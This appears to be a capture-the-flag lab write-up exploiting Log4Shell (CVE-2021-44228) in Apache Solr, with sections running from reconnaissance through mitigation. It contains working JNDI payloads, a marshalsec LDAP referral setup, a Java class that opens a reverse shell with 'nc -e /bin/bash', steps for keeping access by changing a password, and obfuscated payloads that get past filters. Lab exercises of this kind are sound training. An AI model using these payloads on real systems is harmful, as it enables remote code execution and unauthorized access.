Skip to content

SolarLog4j.md

Latest commit

 

History

History
182 lines (125 loc) · 4.46 KB

SolarLog4j.md

File metadata and controls

182 lines (125 loc) · 4.46 KB

Solar, exploiting log4j - Medium

  1. Introduction
  2. Reconnaissance
  3. Discovery
  4. Proof of Concept
  5. Exploitation
  6. Persistence
  7. Detection
  8. Bypasses
  9. Mitigation

Introduction

  • CVE-2021-44228 (Log4Shell) affects the Java logging package log4j; this vulnerability offers RCE.

Reconnaissance

nmap -v -p- 10.10.124.206

nmap -A -p 8983 10.10.124.206
1. What service is running on port 8983? - Apache Solr

Discovery

  • We can inspect the webpage on port 8983; it is the web interface for Apache Solr 8.11.0, running Java 1.8.0_181

  • From the given task files, solr.log contains repeated INFO entries.

1. What is the -Dsolr.log.dir argument set to, displayed on the front page? - /var/solr/logs

2. Which file includes contains this repeated entry? - solr.log

3. What "path" or URL endpoint is indicated in these repeated entries? - /admin/cores

4. Viewing these log entries, what field name indicates some data entrypoint that you as a user could control? - params

Proof of Concept

  • We can access the page /solr/admin/cores (port 8983)

  • log4j package parses the entries and can also act/evaluate code; this is exploited by CVE-2021-44228

  • General payload to abuse log4j vulnerability:

    ${jndi:ldap://ATTACKERIP}

  • We can enter this payload anywhere that has data logged by the app; we can supply 'params' to /solr/admin/cores

nc -nvlp 9999
#setup listener

curl 'http://10.10.124.206:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.154.43:9999\}'
#we receive connection at listener, but not reverse shell

Exploitation

  • Attack chain:

    • Payload helps in reaching out to attacker's LDAP referral server
    • LDAP referral server forwards request to a secondary attacker resource
    • The victim retrieves & executes code present in attacker resource
#we already have java8 setup
#we have marshalsec utility installed for ldap
#in Attackbox

cd /root/Rooms/solar/marshalsec

#we have maven installed
#build marshalsec utility
mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.10.154.43:8000/#Exploit"
#start LDAP server

#in new tab
vim Exploit.java
#add given payload code

javac Exploit.java -source 8 -target 8

ls
#we have Exploit.class

python3 -m http.server

#setup listener in another tab
nc -nvlp 9999

curl 'http://10.10.124.206:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.154.43:1389/Exploit\}'
#trigger exploit using JNDI syntax
#we get reverse shell at listener
public class Exploit {    
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.10.154.43 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
1. What is the output of running this command? - Listening on 0.0.0.0:1389

Persistence

whoami

python3 -c "import pty; pty.spawn('/bin/bash')"

sudo -l
#we can run all commands as all users

sudo bash

passwd solr
#new creds for solr
#grants persistence

#ssh in new tab
ssh solr@10.10.124.206
1. What user are you? - solr

Detection

Bypasses

  • Bypasses that can be used instead of JNDI payloads:

    • ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
    • ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
    • ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
    • ${${::-j}ndi:rmi://attackerendpoint.com/}

Mitigation

#manually modify solr.in.sh
#to mitigate log4shell
locate solr.in.sh

sudo vim /etc/default/solr.in.sh
#add the following line at end of file
#SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

sudo /etc/init.d/solr restart

#we can attempt to re-exploit apache solr
#the instance has been mitigated against log4shell this time
1. What is the full path of the specific solr.in.sh file? - /etc/default/solr.in.sh